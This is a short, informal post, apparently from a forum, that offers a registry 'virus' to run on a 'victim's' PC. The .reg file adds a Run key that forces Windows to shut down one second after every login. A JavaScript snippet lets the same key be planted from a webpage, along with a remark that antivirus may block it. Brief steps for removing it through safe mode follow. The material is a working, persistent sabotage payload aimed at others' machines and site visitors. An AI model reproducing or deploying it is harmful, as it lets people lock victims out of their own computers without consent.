Put this followin text in a .reg file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"
DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE,
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"
DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE,
If it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.
You can also put this in a javascript code, just add this code to your webpage:
<script language=javascript>
<!--
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\VIRUS", "%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f", "REG_SZ");
//-->
</script>
- Be careful, a drawback of the js code is that NORTON ANTIVIRUS's script blocking feature may block this.
